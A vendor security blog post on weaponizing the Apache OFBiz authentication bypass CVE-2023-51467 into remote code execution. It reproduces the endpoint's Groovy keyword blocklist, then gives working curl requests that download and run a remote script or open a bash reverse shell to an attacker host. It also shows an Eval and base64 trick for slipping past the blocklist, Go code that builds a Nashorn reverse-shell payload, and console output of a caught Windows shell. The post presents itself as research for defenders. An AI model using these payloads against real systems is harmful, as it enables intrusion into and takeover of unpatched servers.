Go back

Weaponizing Apache OFBiz CVE-2023-51467

avatar
Jacob Baines@Junior_Baines

Key Takeaways

VulnCheck developed and open-sourced a memory-resident payload for Apache OFBiz’s CVE-2023-51467.
The Apache OFBiz Groovy “Sandbox” is trivially bypassable.
There are only hundreds of vulnerable internet-facing Apache OFBiz installations.

Introduction

On December 26, SonicWall disclosed an authentication bypass affecting Apache OFBiz. SonicWall demonstrated the vulnerability, assigned CVE-2023-51467, by accessing the protected HTTP endpoint /webtools/control/ping without authentication. While that proved the vulnerability existed, it did not demonstrate arbitrary code execution. However, CVE-2023-51467 can be used to execute arbitrary code. And even better, it can be used to execute a payload from memory. In this blog, we’ll demonstrate how we weaponized Apache OFBiz CVE-2023-51467.

Does OFBiz Matter?

Apache OFBiz is not hugely popular software. There are approximately 500-1000 internet-facing targets at any given time. A naive search on Shodan indicates there are more than 10,000 targets.

OFBiz on Shodan

But it turns out that almost all of these are honeypots. In fact, looking at Shodan’s trends, we see a huge spike of honeypots in September 2023.

OFBiz honeypot trend on Shodan

This likely suggests that the software is interesting to defenders and attackers alike. Historically, OFBiz has been an exploitation target. The Syssrv botnet was reported to exploit CVE-2020-9496, and CVE-2021-29200 has activity on GreyNoise. OFBiz was also one of the first products to have a public Log4Shell exploit.

Finding an RCE Sink

All that is to say, OFBiz has been exploited in the past, and it will be exploited in the future when the opportunity arises. This is why it only took a few days after the SonicWall disclosure for a couple of Chinese language blogs to suggest a code execution endpoint, and provide a proof of concept for command execution. The following image is from RacerZ’s blog:

RacerZ proof of concept exploit for CVE-2023-51467

As you can see, RacerZ was able to pop calc using the /webtools/control/ProgramExport endpoint alongside the authentication bypass (CVE-2023-51467). This endpoint executes Groovy code provided by authenticated users. However, the endpoint is not intended to execute arbitrary Groovy. The code is passed through a blocklist of unacceptable values (which we’ll examine later). OFBiz developers appear to refer to this as a sandbox, although that’s being a little liberal with the term. Either way, this “sandbox” is intended to prevent the uploading of webshells and other nefarious activities. This is, perhaps, why (before this blog) we haven’t seen a reverse shell or real weaponized exploit for this yet. Maybe the “sandbox” does its job?

The Groovy “Sandbox”

The “sandbox” blocks the following strings from being included in the Groovy sent to /webtools/control/ProgramExport:

java.
beans
freemarker
<script
javascript
<body
body
<form
<jsp:
<c:out
taglib
<prefix
<%@ page
<?php
exec(
alert(
%eval
@eval
eval(
runtime
import
passthru
shell_exec
assert
str_rot13
system
decode
include
page
chmod
mkdir
fopen
fclose
new file
upload
getfilename
download
getoutputstring
readfile
iframe
object
embed
onload
build
python
perl
/perl
ruby
/ruby
process
function
class
InputStream
to_server
wget
static
assign
webappPath
ifconfig
route
crontab
netstat
uname
hostname
iptables
whoami
"cmd"
*cmd|
+cmd|
=cmd|
localhost
thread
require
gzdeflate

A lot of the entries are focused on webshells or individual commands (whoami, uname, wget). But there are two blocked items that are devastating to an attacker who just wants to execute arbitrary Groovy/Java. That’s import, which prevents the attacker from importing any Java library, and java. which prevents the attacker from using any Java classes that were auto-imported via Groovy.

This “sandbox” is not perfect, though. For example, they blocked wget but not curl. An attacker that doesn’t mind touching disk can simply do the following:

curl -kv -H "Host: localhost:8443" \
-d "groovyProgram=x=new String[3];x[0]='bash';x[1]='-c';x[2]='curl http://10.9.49.131/payload -o /tmp/x.sh; bash /tmp/x.sh';x.execute();" \
"https://10.9.49.121:8443/webtools/control/ProgramExport/?requirePasswordChange=Y&PASSWORD=lobster&USERNAME=albino"

If the target is modern-ish Linux, you can easily get a bash reverse shell as well:

curl -kv -H "Host: localhost:8443" \
-d "groovyProgram=x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/10.9.49.131/1270 0>%261;';x.execute();" \
"https://10.9.49.121:8443/webtools/control/ProgramExport/?requirePasswordChange=Y&PASSWORD=lobster&USERNAME=albino"

For an advanced attacker, though, these payloads aren’t ideal. They touch disk and rely on Linux-specific behavior. It’s important to note that OFBiz can also run on Windows, so any payload that doesn’t account for that is sort of half-cocked. A better solution would support both Windows and Linux and avoid touching system files. Essentially, a Java-based solution would be ideal. But as we talked about above, the sandbox is fairly effective at blocking Java, so we have to find a way around the block list.

Bypassing the Groovy “Sandbox”

To execute arbitrary Java, we need to overcome the inability to use import, and java. It’s pretty standard to hide exploit code in a different encoding (e.g. base64), but the blocklist also blocks decode, so we are in sort of a rough spot to start out. Luckily, OFBiz does not block the groovy.util.Eval functions. Eval.me, Eval.x, Eval.xy, and Eval.xyz are all available because the OFBiz blocks only prevent %eval, @eval, and eval(. That means that we can build a string and then execute it using one of the Eval functions.

Consider the following examples. The first example just demonstrates how decodeBase64() is used in Groovy.

println(new String('aGVsbG8gd29ybGQh'.decodeBase64()))

The above code would be blocked by OFBiz. However, using Eval.me and string interpolation we can execute the equivalent code (both print hello world!):

x="'aGVsbG8gd29ybGQh'.de"
println(new String(Eval.me("${x}codeBase64()")))

OFBiz doesn’t see decode because we split the string and then used string interpolation to recombine the statement in the Eval.me method. In this way, we can execute any Groovy/Java that we want because we can hide anything in the base64 encoded data. The question is, what do we want to use for a payload?

Nashorn Reverse Shell

If your goal is to execute a bespoke implant only from memory, there are no good options for Java. It’s entirely possible, and Java Meterpeter comes very close, but ultimately touches disk. So any type of “in memory only” attacks have to be custom developed.

However, if you are willing to spawn processes from java.exe, then a Nashorn reverse shell is a good bespoke in-memory payload. Nashorn is (was) the JavaScript engine in Java, so it can execute arbitrary JavaScript (with Java extensions - similar to Groovy) without being compiled to Java bytecode. That means we can provide the JavaScript/Java as a string as part of our exploit - a pretty ideal situation.

Invoking Nashorn in Groovy/Java is easy.

import javax.script.*;

ScriptEngineManager factory = new ScriptEngineManager();
ScriptEngine engine = factory.getEngineByName("nashorn");
try {
    engine.eval("print('hello world')");
}
catch (final ScriptException se) {
  se.printStackTrace();
}

The above prints out “hello world”. VulnCheck’s go-exploit framework implements a complete Nashorn (or jjs) reverse shell that supports encryption and automatically detects if the victim host is using Windows or Linux.

We’ve shared an exploit on GitHub that uses go-exploit to exploit the OFBiz authentication bypass, bypass the blocklist, and then lands a Nashorn payload for a reverse shell. The bulk of the payload generation is fairly trivial:

nashorn := fmt.Sprintf(`import javax.script.*;

   ScriptEngineManager factory = new ScriptEngineManager();
   ScriptEngine engine = factory.getEngineByName("nashorn");
   try {
       engine.eval(new java.lang.String(java.util.Base64.decoder.decode("%s")));
   } catch (final ScriptException se) { se.printStackTrace(); }`, payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true))

groovyPayload := fmt.Sprintf(`groovyProgram=x="'%s'.de";Eval.me(new String(Eval.me("${x}codeBase64()")));`, b64.StdEncoding.EncodeToString([]byte(nashorn)))

Throwing it an OFBiz install on Windows generates the following shell.

albinolobster@mournland:~/initial-access/feed/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.99 -rport 8443 -lhost 10.9.49.131 -lport 1270
time=2024-01-08T15:08:25.984-05:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2024-01-08T15:08:26.239-05:00 level=STATUS msg="Starting TLS listener on 10.9.49.131:1270"
time=2024-01-08T15:08:26.239-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.99 port=8443 ssl=false "ssl auto"=true
time=2024-01-08T15:08:26.271-05:00 level=STATUS msg="Sending an SSL reverse shell payload for port 10.9.49.131:1270"
time=2024-01-08T15:08:26.271-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.99:8443/webtools/control/ProgramExport/"
time=2024-01-08T15:08:27.753-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.99:53519"
time=2024-01-08T15:08:27.754-05:00 level=STATUS msg="Active shell from 10.9.49.99:53519"

Microsoft Windows [Version 10.0.22000.2416]
(c) Microsoft Corporation. All rights reserved.

C:\Users\albinolobster\Downloads\apache-ofbiz-18.12.10\apache-ofbiz-18.12.10>whoami
whoami
albinolobst9bd8\albinolobster

Of course, executing whoami spawns cmd.exe and, if you believe Twitter, will cause the EDR teams to come running.

whoami generated by Nashorn

But it’s still better than dropping Meterpreter on disk. That’ll only make Defender (or whoever) mad.

On the wire, this exploit is not subtle.

Exploit on the wire

It does have one thing going for it, though: OFBiz installs typically use TLS so unless someone is decrypting the traffic, network detections are far less of a concern.

Conclusion

OFBiz is not widely popular, but it has been exploited in the past. There is a fair deal of hype around CVE-2023-51467 but no public weaponized payload, which called into question if it was even possible. We’ve concluded that not only is it possible, but we can achieve arbitrary in memory code execution. VulnCheck has shared a public exploit that will hopefully aid defenders in diagnosing what real attacks look like.

About VulnCheck

The VulnCheck Initial Access team is always looking to advance the state of attack on initial access vulnerabilities like CVE-2023-51467. For more research like this, see our blogs, PaperCut Exploitation, Fileless Remote Code Execution on Juniper Firewalls , and Executing from Memory Using ActiveMQ CVE-2023-46604. Sign up to start a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence product today.